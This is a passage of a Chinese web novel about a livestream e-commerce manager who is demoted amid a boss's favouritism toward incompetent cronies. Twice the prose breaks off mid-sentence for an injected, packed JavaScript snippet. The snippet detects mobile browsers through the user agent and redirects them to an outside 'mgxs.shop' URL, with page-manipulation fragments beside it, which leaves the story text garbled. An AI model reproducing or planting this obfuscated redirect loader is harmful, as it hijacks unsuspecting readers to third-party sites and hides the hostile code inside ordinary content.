“这不都是玻璃的吗,你也看到我到门外了。”L总监耸耸肩,“这位听说是面商务BD吧,我跟他聊聊,这个我干了几十年了可太懂了。” “不用。”我招来小Y,“你进去和里面的商务BD聊聊,我刚已经听他介绍了他的个人经历,还可以的。你重点把咱们的项目和他介绍介绍。如果我出来你们还在聊我就接着谈,如果我出来太晚,你了解下他的商家资源和薪资需求记下,我回来看了再和他沟通。” 小Y点点头然后回身去工位拿笔和本子。我也进了W总裁的办公室。 和她汇报完工作和后续安排后,我询问了L总监的情况。 “L总监在我们网店成立初期就在这里干过,人老实本分可以的。没事,让他试试看,这把年纪了本事应该也是有些的,主要人对我忠心就行。”W总裁拆着选品刚选进来的一款薯条边吃边说。 我倒是不知道这事儿,这样的话也能理解了,她爱用老人。我又问及他工资的情况,W总裁只说照旧。我也不好再多打听,和她聊完这便继续去忙了。 回到办公室,我的BD却已经走了。我看了下时间,我不过在里面呆了二十多分钟,小Y不可能跟对方聊这么快啊。我正疑惑,小Y看见我连忙赶了过来。 “M总,我刚拿笔记本的时候,L总监先进去和人聊了,我跟进去也插不上话,他一直在和人吹嘘咱们的项目是国家重点支持项目,说那些官媒是咱们运营的。人家问他什么都不听,他问人家专业问题,把人家都问笑了,说他不懂直播招商选品,后来人不想耽误时间就走了。” 我只觉得要裂开了,这是我好不容易选定的人,我们线上面过一次,就是聊得很不错才约来的,没想到就这样被搅和了。 我四下没看到L总监人影,见会计在办公室,便去问她L总监的工资。工资是公司的机密,除了我团队我招来的人,其他人的工资我都还不知道。 想起来前几天会计找到我签字的事情。因我已是直播项目的总经理,W总便吩咐会计把属于直播项目板块的所有收支都得给我签字,过了我的审核环节再上报到她,我也没什么异议。不想正逢发工资,会计却拿着一张金额和明细折叠装订起来的工资条给我签字。 “X姐”会计姓X,鉴于她掌管着老板的资金机密,也比我年长,我进司一直敬称她一声X姐,“你这数额都叠起来了我又看不到,却要我签字,我签了字我得负责的。再说,如果给我签字是认我这个总经理,那没道理这点透明度还要瞒着我总经理吧。” 会计一脸为难,我又说,“W总裁说了不能给我看,只让我闭着眼睛签字吗?” 她摇摇头,说把这张作废了重新打印一张来,我知她是要去和W总裁请示,也没说什么。一会儿她回来了,一脸便秘的表情,但还是给了我一张展示了金额和明细的纸。我看着那折痕和订书针戳出来的洞,哂笑一下没说什么签了字。 原来她的工资比我之前还高一千多块,甚至还有租房补贴。别人都没有独她有,会给自己谋利是好事,倒也不必躲躲藏藏的。只是我想到原来她跟我哭穷哭工资少得可怜,倒有些好笑了。别说为此她还想让我什么都不看就签字。 我问及她L总监工资的事情,她很爽快告诉了我,和我先前一样税后10K。啧,那也不少了,这人的能力值这个工资吗?我又问及他先前怎么走的,本以为也是口罩解散而已,不想会计倒是说了一个想不到的理由。他先前是被辞退的,而且没有赔偿的辞退。因为他声称自己拓展市场十分厉害,但来了三个月,花了好几万搞线下活动,除了折价卖掉几套产品,再无成果。 想到W总裁竟然说他有几分本事老实本分那些话,我真的觉得头痛,恐怕只有忠心是真的,其他什么都没有。忠心也是为了她发的工资,没了工资对她有没有忠心都难说。 “唉哟,M总在呢?”L总进了办公室,身后跟着L总监。两人一身烟味。 我停下手头的事情,看着L总监,我没找到他,他先送上门来了,我可要好好问问他怎么面的我那BD。 “刚刚我看你去W总裁那里太忙了一时半会儿聊不完,小Y又是刚毕业的小孩什么都不懂,我就和小Y一起面了那个BD。” 我还没问话,他自己倒是先开口了,我倒要听听看他还要扯出什么来。 他自顾往接待区那个沙发上一瘫,翘起了短短的二郎腿,仿佛以为自己潇洒胜年少,“你那个BD太不专业了,什么都不懂,我问他知不知道正某大牛某山,这些单位跟我的关系都老好了,产品线又大又多,我说咱们要直播选他们的产品,他们都可高兴了,让我随便选随便上。哦,你那个BD都不知道这些的,他手上根本没什么资源,都是些没听说过的网红产品。我看他就不适合到我们这里干商务,把他刷了吧,你需要商务我这里有人,都是干商务几十年的老手,认识的品牌都是数一数二的,保证符合咱们官媒的格局。” “L总监,说到格局你应该学会尊重别人,不是你知道的东西才是好的,也不是你不知道的东西就是不好的。”我觉得我需要好好和这个牛气哄哄的L总监聊聊,看看他到底有什么水过人之处能让W总裁接受他重新回来。 “听W总裁说你先前就在咱们公司干过,我来的时候你已经走了,说起来咱俩还没好好聊过,不知道你以前学什么的?几十年从业是做什么的?” 他本能因为被我怼有些面色不愉,这下又精神抖擞开始回忆自己的光辉历史来,“我啊,八十年代末就上大学了,学的广告。哈哈,那会儿恐怕你都还没出生吧……” 那倒是,他比我父母年纪还大。总之听他一番吹嘘下来,更加了解到这个人扯大旗的能力。大学是哪里的叫什么说不出来,说是学校改名了,改成什么了也说不出来,我看大学是假,恐怕不假也不是改名了是倒闭了没了。至于嘴里没天没地把那些大集团甚至跨国公司挂在嘴上,只怕也只能挂在嘴上了,他认识那些品牌,那些品牌的人却不认识他。 我不理解W总裁的阅历对这样的人是什么观感,但既然她要收下这个人,工资也是她出,我也无话可说。至于他总想掺和我这边的工作,我只能自己防着了,尤其BD,谁来他手下干活都要被气死的。 此后我招进来的BD都明确说了,一切指示除了我的和W总裁的,其他人再来指手画脚都不用管,不满了告知我来解决不用忍。 * 既然已经有了商务总监,那项目不用等选品专员也必须要启动了。在W总裁看来,除了美工文案和剪辑,所有人都可以招商选品,这事儿太容易了。某个周一的大会上,她发下全员招商的命令,这边热火朝天地开干。 一时间倒是运营比较有路子,他毕竟真在直播中干过,只可惜,他通过人脉找来的几个某音网红一线品牌都不接受前置佣金,人品牌有地位也多的是某音网红达人想帮他们带货,完全不愁卖,所以不缺我们官媒刷脸这一个路子,纯佣能播一下带一下就差不多了。 而一直吹嘘自己认识大品牌的L总监,只不断约了他所谓的人脉来公司吃喝聊天了两三回,并没有能合作的样子。因为那些人都是经销商,根本做不了品牌的主。哦,这就是他认识无数大品牌的人脉。 我聊了几个普通的品牌,倒是能接受少量前置佣金。W总裁拉出了一个老牌明星,声称他能到我们直播间亲自出镜带货。这位明星还是有不少观众缘的,粉他的人们也基本是老板了,而我聊的这几个品牌,正是老板,乃是我刚毕业在电商行业干销售时积累的人脉。我也没想到近十年之后还能激活他们。 有这几个品牌谈好的经验,我总结了根据出镜名人和他的粉丝情况来招商选品的经验,分享给了大家,让大家一起专注找这些经营多年的中下游品牌,希望能尽快促成这场大直播落地。 我本以为L总监应该会适合这个努力方向,他工作多年,应该也有一些这样的品牌资源吧。不过很快我发现我想多了,他可能确实有,但也跟那些大品牌一样,认识的仍然是经销商。我甚至怀疑他所谓的做广告商务和拓展线下的能力,难道是线下铺货? 总之,经验我分享了,却没有人有进展。倒是W堂妹,W总把自己接触的品牌给了她,有一两个商家愿意掏一两万前来参与。可惜,即使是这样,要靠招商形成一个至少几十万前置费用的专场,也还远远不足,进度只会慢之又慢。 而且,令人十分失望的是,W总裁口口声声会来直播间出镜带货的明星,他不来了。说实话,一开始W总裁说的时候我就觉得不大可能,只是她实在坚定,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163809|196607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 选择相信老板。这位明星算是位老艺术家,除了影视剧中现身,采访都很少,别说直播了。W总裁也是宣称的和他经纪人关系很好,首播绝对没问题,也才叫很多商家心动。 我也联系了达人,只是我的能力能开拓到的还很普通。我直接给达人和明星的经纪公司打电话,有幸不被挂掉的,就一个个电话的绕过去转接过去,能触达到的都是商务水平普通的明星和达人。但这也不全是劣势,至少相对来说这些名人的出场费也低一些,比W总裁那位黄了的老艺术家要价二十万来说。 不过W总裁是何等眼光水平的人,她当然瞧不上我联系的这些量级的名人,总觉得他们不仅配不上她也配不上她这官媒平台,便不让我们用他们招商选品。在折腾了几轮她那些老艺术家和大明星都中途失败之后,她才决定让我用一用我这里的名人试试。 我没有高兴得太早,因为很快她就说,这些人的出场费高于两万块不要,而且只有出场费,不给分佣金。我直接放弃了试试的想法,好不容易联系积累的明星和达人资源,不要一报价就彻底歇菜了。 这项目真的还能做得下去吗?一切结束后复盘时,我觉得简直是全部路子都被堵死了,怎么可能做得成果呢?可我当时并没有这个怀疑。我觉得总有路子的。 我立下的军令状是半年盈利,如今过去快两个月了,一个大的直播场次还没有一点落地的迹象,我只会比W总裁更着急!W总裁还在不断抛来她接触的明星催着大家快点招商,虽然时不时就说换一个。这自然是不可能招来商家的。 “你们看看你们都在做什么?什么都不用你们做,明星我谈,官媒我签,我都搞定了。我在外面打猎,大猎物抬上桌了,你们分吃干净就是。结果猎物扛上桌了,你们连解剖的工具都没有,做不出来吃的,你们的本事呢?工资就是这样给你们领的?” 大会上,W总裁发起了火。然而大家都无动于衷。我都不想说她哪里搞定了明星,官媒也不是完全属于我们的我们想怎么卖就怎么卖,哪里就是她扛猎物上桌了。 会后我和她恳切聊了一场,再这样下去不行,还是必须有专业的直播BD,让专业的人来招商选品,明星也必须定下来,商家也禁不起我们反复变卦。我这里的几个商家已经从开始的期待到现在无所谓了。W总裁一听说谈好的钱还没进账就要跑了,这才重视起来,但仅给了我两个BD名额。 也比没有的强。我于是紧锣密鼓约BD面试。同时也在思考我们的项目方向。 在和官媒谈合作制定的过会方案中,我详述了我们将如何运用官媒账号来通过宣传和直播的途径达到扶贫助农的结果。而眼下,W总裁却让我们将招商的方向盯在资本砸出来的网红品牌和纯粹靠商业包装出来的产品上。我当然明白这些品牌有钱,愿意砸钱营销,或许是我们最好的客户,但这是背离我们的初衷的。何况资本不傻,不见兔子不撒鹰,没有直接的利好摆在他们眼前,他们是不可能砸钱的。 大场次直播并不好做,直接用达人和官媒来向商家收取高坑位高佣金的运作模式并非先例,我们不是第一个吃螃蟹的。本身这些大的官媒就和别的商业团队合作过这种直播模式,大家都在业内,我也看着他们做得一场不如一场,甚至已经撤走了不做了,商家割了几茬实在也割不动了。现在我们才想这样干,很难。 我回归我们原定方案的立意,很快把目光瞄准了地方政府和国企。首先,通过多次与官媒洽谈合作的经验,我明白他们不仅想要利益,更想要亮眼的宣传效果也就是政绩。其次,网络热点时代,各个地方政府都在想办法让当地破圈出圈,亟需宣传,宣传出去的目的也是为了卖出当地的特产,为民创收。而且相对网红和其他宣传而言,两个官方背景的单位,其行事风格和诉求更为一致。 官媒和地方政府,这二者简直是一对完美的供需关系。这便是我的大专场直播的目标群体了。至于需要出镜的有带货能力的达人或明星,有了两个官方的背书,这显然已经不是多大的问题,连他们想要的出场费和佣金协商起来都要容易很多。 我迅速联系了好几个行业协会和驻京单位。事实证明我的想法是正确的,碰面聊过之后,我们双方简直是一拍即合。合作意向无疑是确定的,只费用上确实也没那么容易。 越想要官媒宣传的地方单位越没有钱,我们都在思考双方怎么不垫资又能让合作项目落地。而且,为了项目长期可持续,我还必须得保证掏钱那方的利益。我想到了双方官媒联合主办,招赞助方来给资金支持,我们出力的事情,地方政府当然没有意见。 L总监来了一个多月,还一个品都没选进来,显然也担心W总裁会觉得他无用,听说我这边有这样的项目,他也信誓旦旦表示,他认识很多地方政府人脉,要去开拓这样的地方单位。他显然没明白,现在这个问题不是地方单位如何开发,而是赞助商。 我给他指了条明路,通过经销商去搭上品牌方,试试看拉赞助。他一边觉得有些难为他的经销商,一边也觉得有利可图,再次信誓旦旦说没问题,只可惜直到过去一个月后,他的成果还是连影子都没有。哦不,是直到整个项目破产解散之后。 4. 被撤职了 指着拉来赞助开播太单一了,一旦拉不来赞助,还是不能开播,我不能把希望全部寄托在这上面。 我和地方政府商量,不搞混播不掺和其他地方的产品,地方负责组织商家给到我们,我们的商务团队来和商家谈费用。地方还有犹豫,怕带累他们名声。我提出了出镜带货的达人费用由我们负责搞定,并且我们直播地点改到地方进行,达到真正的宣传地方和溯源的效果。地方上不用出钱了还能得到免费的宣传机会,顿时觉得非常合适了。 我把这个好办法分享给了团队,尤其是刚招来的两个负责选品和招商的BD,让他们在日常选品之外也开发地方政府和单位。只是他们积极性并不高,日播的选品任务都压在她俩身上,加上她们觉得工资不多,不那么值得在选品之余耗费大力气。 哦,对,反正等到我把地方商家收上来了他们再去谈费用也一样少不了提成。而L总监,我希望他别把精力放在没影子的品牌上了,也去联系一些协会和地方单位驻京办,他嘴上说没问题,其实没有任何动作。 在我熬着大夜写了一个又一个地方单位专场项目规划,计划也一步步推进的时候,却发现W总裁对我的态度日渐奇怪起来。 三八节这天,W总裁不知遇到什么喜事,不仅来了公司,且满脸都是喜气洋洋。下午她更是订了鲜花,送给公司每个女生。大家在老总一句又一句的节日快乐中收下了鲜花。 “小M,来,我的大功臣。好好干事业,不要想着谈恋爱结婚。”她给我花的时候,并没有如和其他女生一般祝我节日快乐。 我觉得很奇怪,但又觉得只是自己想多了,我接过鲜花,承诺到,“谢谢W总,我一心扑在项目上没空想别的。咱们项目必定能做成!” 她点点头,像是对我的答案还比较满意。她还真的等我回应?真是奇怪。 我一直不经意地践行6b且在努力达成4t,真的不刻意,但是就是没有在任何人示好表白的时候有动心,甚至没有恋爱的想法也一直顺其自然地没有。职场近十年,我也从未谈对象甚至没有过暧昧,这些我没有特地告诉任何人,但同事们大概都知道我母单,眼里只有工作。我觉得投资人应该也明白。 这一茬我也没太放在心上,直到几天后。W总裁再次带着我和L总、L总监还有运营和会计,一同去谈一个新的官媒合作。谈得很顺利,出来后W总裁请我们吃午饭。 大家都在兴奋地聊着又多了一个官媒资源,W总裁突然莫名其妙跟我说:“女人就要好好搞事业,我已经给你创造这么多好条件了,你看,这么多能干的都给你打下手,这几个男士哪个不能拎出来坐总经理的位置。你要抓紧好好干啊。” 我不理解她怎么突然这么说,最近我们的工作汇报没有什么冲突,也没有什么关于管理分歧的争执。甚至项目也在顺利推进,我联系的几个地方政府都在组织商家报名,已经陆续收上了一些商家。 我看看几位被点名的男士,L总监笑得得意,L总摆出讳莫如深的样子,运营低头吃饭不吭声,会计在给W总裁剥虾。我也来不及多想,只以为W总裁这是在催我快点落地大项目,因为已经快三个月了,大项目还没落地。 我当场又承诺:“W总您放心,肯定没问题的,在对接的地方单位已经在组织商家了,我们商务团队立即就有得忙了。洽谈商家收费用商务团队也有提成可拿,积极性也会上来的。” W总却似乎并不满意我的答案,不置可否地说:“抓紧吧。” 回来之后,我立即整理了商家名录,率先打头阵联系商家洽谈费用。同时也在教商务怎么去和这些单位谈费用。考虑到地方商家的能力,以及我们请的网红量级并不大费用不算高,所以我准备跟商家收取的费用也并不高,最高档位的也不过15K,普通的3、5K也能上,愿意一试的商家不少,进展还算顺利。预估第一个政府的第一批商家已经大约有五万左右的费用,相信再收上来第二批第三批数字会更好看。 我跟W总汇报时,她却不太满意。她想要从费用上就赚钱,至于分佣部分,她不指望会卖得好,所以不想考虑佣金赚钱。她要求我必须收取更高的前置费用,且这部分不能给商务提成,而销售佣金不能考虑进成本收益里,只能算做额外收益,而BD的提成就从佣金部分去算。 我费了些劲儿劝服她,我们第一场试水,费用就先有个基本的就行,能覆盖住我们的达人成本和团队成本,第一场一定会想尽办法做个漂亮的GMV出来,给商家和地方政府以及官媒三方足够的信心。这样后续我们再推进其他的项目,再要涨前置坑位费,或是提高佣金率就都好说了。 她答应得不是很爽快,但终归是答应了让我一试。 我们已经说得好好的,她也同意了。我可以放心继续做了吗?当时是的。 第一个大场谈好意向的商家越来越多,我们落地直播锚定的费用有希望了。当然这些大多是我谈的。因为我没有隐瞒商务们关于W总不想给她们分前置费用提成的情况。她们不高兴,但指望产品销售出去后的佣金,也还没有完全消极怠工,只一天稍微谈几个作数。 因为要到当地去播,兼顾地方宣传,我准备驻地方去沟通场地等情况。嘱咐了BD们抓紧签合同收款,又告知了运营筹备大专场的直播计划,便要申请前往地方。 向W总裁发出申请时,她却叫我等一等。她来公司当面说。 新一个月的开始在周末,过了周末,又是个明媚的周一。 这天的大晨会前,难得全员到齐。临近9点,会计突然给我消息,今天的晨会不要着急开,等W总裁几分钟。她难得早起,已经在来公司的路上了。 我有些意外,觉得事情不太对劲,但也不知道是哪里不对劲。W总裁要来却没和我说,不过她也不需要经常和我沟通动向,我按捺下心中的怪异。等到快九点半,W总终于到了。 等大家陆续到会议室的档口,她已先坐在了主位上。桌上堆满了新收到的样品,都是直播团队拆了试用的。她捡起一个粉红色的米奇保温杯。 “这是谁选来的产品?”她把玩着那个杯子问到。 “诗诗的。”我答她。诗诗去卫生间了还没来。 “哦,挺好看的。”她打开盖子朝里面看了看,“上架价格是多少?” 这个我倒是不清楚了,我看了看运营,运营连忙答道:“78.8一个,118两个。” “不错。”W总裁满意地冲他点点头,转头看我,“学着点,我们自己的产品都不清楚售价。” 我?我还能怎么样,我点点头。很快,人到齐了。 “这个杯子我拿回去了。”W总冲诗诗说。 我直皱眉。别的那些吃的喝的,试用一下也就算了,比较贵的产品并不该截留下来,需要退还给商家的。 诗诗也怪异地和我对视了一下,然后说,“您用吧。” W总裁把杯子交给O女士,让她记得一会儿拿走。这才正式开始会议。照例是每个人汇报工作进度。L总监满口胡说联系了几十个商家在推进合作,我只当没听见。L总还是说网店运营平稳。 W总裁一一认真听着,没多点评。倒是她的W堂妹和Y表弟,汇报这一个月来在直播团队跟播的收获。自打要求全员招商起,他俩就没再担任我的助理,也不需要写方案和帮助我处理杂务,已经下放到直播团队去,跟着运营学直播。 她欣慰地听两人汇报,连连点头评了句,“这直播看来还是很简单的也不难嘛,你俩纯小白才跟了一个月就已经很有专业的样子了,不错。” 运营的表情明显嘲讽了一下,我也忍住了只在心里吐槽。他俩这学了啥?Y表弟还好说,好歹跟着搞中控,学了些上下架产品、制作定向连接等操作。W堂妹呢,说是做场控,其实就是没事干,跟着摆摆产品和打哈哈,连氛围感的口号都不愿意喊觉得没面子。 这连直播的门都还没进去呢。她指望他俩一两个月就把运营的本事学到手然后踢掉人家,这都不能说是厚望了,就是野望。 很快,大家的汇报都结束了。我们都在等着她总结,然后开展工作。 在大家专注的目光中,她清清嗓子,“我宣布个事情。从今天起,L总任总经理,负责直播项目全盘工作,M总转任我的助理。你们也不要觉得轻松了,今后我要亲自来掌管这个项目推进,L总在公司负责带你们执行。我们官媒都谈下十多个了,分猪肉这个事情各自都抓紧,我要尽快看到项目成果。明白吧。” 我懵逼了,忍不住朝她看去,她看了每一个人,就是不看我。 我被撤职了,非常的突然,事先我没有得到任何消息。我看了看,会上的人也神色各异。会计沉默着只看老板,倒是心知肚明的样子。L总和L总监高兴得嘴角压不住,眉飞色舞。W堂妹和她的妈妈O女士等W总裁话落,率先鼓掌表示恭喜L总。我直播团队的人,运营看起来在看戏,两个BD在诧异,文案、美工、剪辑是什么表情,不甚清晰了,大概和我一样有点懵逼和震惊吧。 会后我没有立即去找投资人,她先叫了我去她办公室。 进屋后我也没先开口问,她没给我任何讯息,不至于还要我自己问她要一个解释吧。然而她终于开口了,却也没解释。 “你担子也卸下了,还是好好干没什么区别,我考虑得很全面,安排也很妥帖,不会有人觉得是你有什么问题,只是正常调动。我不会亏待你的,继续好好干吧。” 莫名其妙的一番话,没头没脑的说辞。我觉得很离谱。 但我也觉得累了。她确实太心急了,我是比较稳妥型的,可能她觉得我项目进展实在太慢了吧,所以等不及了。 我不想问她要解释,也不想和她争辩是她老爱安排亲戚进来,对我没什么助益可言反而添 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163810|196607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱。我相信任何人到我的位置都不会做得比我更好。如果她觉得她自己来会更好,那就算了,她就自己上吧。 我当即收拾了东西离开了总经理办公室,来到了直播团队的大办公室,坐上了角落上靠窗那个剩下的位置。W堂妹就在我旁边。 再也不用和L总一个屋了也是好事。大热的天和大冷的天他总要打开他那个位置的窗户,他自己也并不总呆在工位上,只照三餐的来吃六味地黄丸,然后就背着手去巡视工作了。那窗户开着口子,办公室里冷气和暖气都跑了,我也呆得煎熬。 三个月了,当总经理的三个月,我就没有一天睡过6小时以上,哪怕周末都在加班加点写方案、制定绩效管理架构、谈合作谈客户。现在,我终于可以关机睡一个饱饱的大觉。 哪怕这样,我也没有想着要辞职,因为我想亲眼看我的方案落地,一次就行,看到结果我就走。 * “M姐,我们的劳动合同还没签呢,你这现在这样,我和娜娜的合同怎么办?”这天诗诗问我。我搬来这个办公室后,大家都改口叫我M姐了,哪怕是比我还大一岁的运营。 我记得她俩合同这个事情,她俩来了半个月了,不是我不想签这个合同,只是W总裁一直不确定她们的提成到底是从前置坑位费里抽取还是从销售佣金抽取,以及从佣金抽取抽几个点,所以一直没签。 在此之前我的绩效考核方案已经快要弄出来了,只需要和W总裁沟通确定就能和她俩签定,不过眼下,已经不可能了。 我不想和W总裁去沟通这个事情,于是去问了会计,她管着老板的财政,先前我制定绩效考核时,也是找她一起计算的,问她是一样的。会计回复我不用担心,因为L总已经在制定了,很快就会公布,然后和BD签合同。 我把消息告知了诗诗和娜娜,她俩也没什么异议,因为底薪我和她们已经谈好的,现在有异议的只是提成,等L总的提成方案出来,她们再和他沟通即可。 我回到了做总经理之前的工作节奏,埋头做策划,给W总裁写各种申请函各种文件。W总裁并没有如她所说每天来盯项目,反而是谈了更多合作方,我每天都有写不完的方案。 L总接手上任的第二天,就在会议桌上宣布要给即将落地的大直播项目换个达人。 这个项目自然是说我在招商推进的那个地方政府专场项目。我们和地方原定是请当地一位粉丝最多形象也最正的网红,虽然对方只有三百万粉丝,但当地商家也认他。这位网红的出场费还在谈,我们双方在磋商的是两个方案,一个没有出场费,但网红要自带自己的三个产品来销售,不能给我们任何分佣,且还要参与整场的分佣。一个是给出场费五万,网红不对销售数据负责,不参与分佣也不会自带产品。 L总表示这个网红粉丝量太少,且形象太土上不得官媒的大台面。他新找的这位大明星,的确家喻户晓,某音粉丝两千万,而且,是L总监认识的某大闸蟹品牌方的代言人。他俩也是因这层关系,说服了品牌方将这位大明星推荐过来的。 看来L总监竟然还真的有几分人脉关系啊?只是不想跟我出力而已,眼下跟L总了,好像开始发力了。 我呵呵哒。别人有的都是别人的,我不羡慕,也不忮忌。何况这大明星能不能真的合作上还不好说呢。 如此大咖位的明星,出场费用可不低,五十万出场费而且只播他代言的这个品牌,这个品牌独占半小时。 如此离谱的要求,我以为W总裁不会答应。可是我显然想多了。品牌方表示,出场费要得这样高,但只要让这个大明星和他们的产品上我们官媒播半小时,允许我们挂这个大明星的名义招商。 W总裁听了不仅不觉得离谱,竟和L总L总监一样觉得十分高兴,他们当即决定就跟品牌方这么定了,又立即吩咐招商的各位把原来的坑位费×10。为了抓紧发这笔财,再次要求全员招商。 眼下带了其他的品牌,我并不认为这还符合我跟地方政府承诺的地方专享专场,加上我忙于写方案,我忽视了全员招商的要求。 不过我也没能躲过,商家名录收上来之后我分了部分给BD和L总监,这次换明星收高费的行动,我不联系这些商家他们却不会放过这个发财的机会。 商家没有找到我,地方政府对接的专人先联系了我。因为地方小企业们接到了商务们的电话,听说谈好的几千块一万块的坑位费要加个0,他们都纷纷表示要考虑考虑,转头就把我们团队诈骗敛财的消息投诉到了地方政府。 对接人质问了我,我已经不负责项目了哪里能说什么,只能说这次是这个大明星的专场,不是原定和地方政府的专场,因面向全网招商的,所以可能是BD弄混了。对方倒也没有准备为难我,只说既然不考虑先做他们的专场那就只能以后有机会再合作了。 我即将落地的项目,就这么黄了! 5. 草台班子 当然老板和L总们并不觉得可惜。 他们已经手握重量级大明星,立即就可以招来一批愿意出钱的大品牌啊! 然而这个立即,一个月后他们也没想到还没有任何进展。再大再资本运作的品牌也不愿意买单,毕竟这位重量级的大明星他虽然来直播间,但他半小时就走了,更不会推荐其他品牌的产品。哪个冤大头品牌会为此掏大几万十几万的坑位费呢? “小M,你之前谈的那个政府呢?重新联系起来啊,好项目不怕多。” 拘着商务和运营用大明星招了快两星期还没结果,L总这天巡视到了直播团队办公区,对我说。 我从方案里抬起头,大家听到他的话,也都满带希望朝我看来。 “那个政府说我们诈骗呢,谈好的费用突然要加十倍,政府和商家都不干。你不知道吗?你可以问问诗诗和娜娜还有L总监啊。”我看了看两个BD,她俩闪躲着眼神不说话。 “那怎么能叫诈骗呢,CDM那么大牌的明星来直播呢!”L总仿佛听不懂我的嘲讽,还沉浸在他们请了大明星的美梦中。 “那人倒是来啊,连肖像授权给美工做招商图都不能。唉,反正说这些也没用了,人政府觉得我们不诚信不合作了。”我翻个白眼继续写我的方案。 L总自讨没趣,拉着脸走了。走到门口又回头来把L总监喊了一起出去,商讨他们的伟大商业构想。 “M姐,那个政府真的说我们诈骗不和我们合作了?”诗诗不死心地追问。 我都懒得说她们,要不是她们自己非要问,“你们打电话给商家要加价的,你们自己不知道吗?” 诗诗和娜娜不甘心地说,“我们想着CDM这么大的明星,应该大家都会很高兴的啊。” 这样短视我也是无法了,“这就是诈骗商家啊。我说,人商家要是不问CDM给不给他们的产品进行讲解,你们是不是就不打算说?然后商家掏了十倍的钱开播发现哪来的CDM呢?” 娜娜猛摇头,“我们没有,我们都直说的。我们又不是L总监。” “是,所以就是有人说了。反正政府接到投诉电话后,打电话来骂的是我。”我耸耸肩。 她俩叹气,大家也知道这地方政府合作的项目是真的黄了,没指望了。 “小M啊,我给你分享了一篇很有深度很有价值的文章,你可以多看看,对你写方案有帮助。”L总监在我对面探头,然后拉开皱巴巴的外套,煞有介事地摆起高知人士的姿态。 我扫他一眼点开了对话框,一个老登公主号,通篇不到三百字,不知道哪里复制来的商业见解,前言不搭后语,排版也没有。 我懒得搭理他。过了会儿他见我没和他交流观后感的意思,又问到,“怎么样,写得很好吧?你就该多看看多学学。” 周围同事都竖起耳朵关注起我俩这边的八卦来。我深吸一口气,立即搜了几个更知名的老登公主号,卡卡卡一顿分享了十多条给他。 “L总监你关注的这位已经过时了,好好看看我给你分享的这些吧。活到老学到老,你也不要停止学习,争取自己也能写出来叫W总裁满意的方案,也叫我开开眼啊。” “噗~咳咳,我去上厕所。”剪辑一下没憋住笑,赶忙起身出去,美工也赶紧叫着他跟上。 L总监脸上挂不住,老脸和邋遢的胡子一抖一抖的,“小年轻要沉得住气,多看点学点东西没有错的。” “你这么大年纪还沉不住气,还管得着小年轻呢。”我真是觉得好笑,当我软柿子吗。 他说不过我,办公室众人又看戏似的盯着我俩,他先撑不住了,打着哈哈说出去抽烟。 作为L总的马前卒,他真的很会恶心人。他的马头L总也不遑多让,三不五时老来找我要给他的项目开发新点子做方案。 有一说一,我工作一直就事论事很少在职场中厌恶一个人,但L总和L总监很有幸获得了亮灯。 不知道是什么让他们有我是软柿子很好拿捏的错觉。既然撤职我的时候W总裁说我是她的助理,那我就没有义务为L总服务。况且我和他都是领的W总裁的工资,他跑来想把我的工作安排得明明白白,不知道的以为他才是我老板给我发工资呢。 忙。没空。手上案子都写不完。这是我一贯拒绝他的理由,也是事实。我没可能为他加班加点干。 “你实在着急可以让芳芳帮你弄,要么你就重新招个人,你不都给运营招了个助手吗?我也挺需要的。”这天他又来想让我写方案,我如此说到。 对,他上任一个周,就给运营招了个助手中控。因为运营说太忙了,他一个人要负责全部直播执行的事务,实在分身乏术。不过我看日播的情况,中控来了之后他是彻底闲了,直播做链接上下架产品这些活儿都让中控干了。 说起来,一个月早过去了,运营也不知道是对现状无望还是对涨工资的结果不满意,那几个日播的官媒账号是一点起色也没有。每天直播在线不到十个人,其中五六个还是我们自己人的号。真实进来的用户都是秒进秒出,更别说购物了。开始的时候自己人还刷一刷单,拍了就退。现在我看是刷单都懒了。除非W总催数据要看。 运营这样闲了也没考虑怎么把账号做起来,一天一天朝九晚六混日子,消费者上班我们直播团队也上班,消费者下班有空看直播了我们也下班休息看别人直播去,这账号能做起来才怪! 这要是之前我管理,不可能放任这样下去的。不过现在也不是我管,运营和L总也忘年交哥俩好的样子,W总裁都给他们哄得好好的,那自然也不必我操心。 L总只是想让我写方案,可不会真的想给我招人。他反正拿我也没办法,只能找芳芳写。芳芳是直播团队的文案,只会整理一些产品卖点和产品手卡这些东西,并不会写方案。可直播总经理安排下来了,她哪能推辞,只好找我要了几个方案模板,在上面套。 套出来的方案在我看来,根本毫无逻辑前言不搭后语,不过糊弄L总这种人足以,他拿着去糊弄W总裁,竟也能过去。 这让我不禁怀疑,我写得这样呕心沥血的方案,在W总裁看来是真的很好吗?她看得懂吗?她如果不懂,又怎么可能辨别出来谁好谁坏?她如果懂,又是怎么能接受东拼西凑逻辑不通的套模板方案的? 这一切都让我觉得,世界是一个巨大的草台班子。我努力和坚持的东西,可能真的并没有任何意义。也许我也该为了一些肉眼可见的利益,撕下脸皮不择手段才对? 我想我应该可以的,但很快就发现自己的底线还是太高了,根本做不到。 “M姐,公司怎么可以这样呢?我们来的时候和你谈得好好的,现在的工资只是底薪,提成等你做好了绩效就出来,然后签合同。你看看,现在公司让我们签的合同竟然是这样!”诗诗怒气冲冲地从外面进来,把一份劳动合同扔到我桌上。 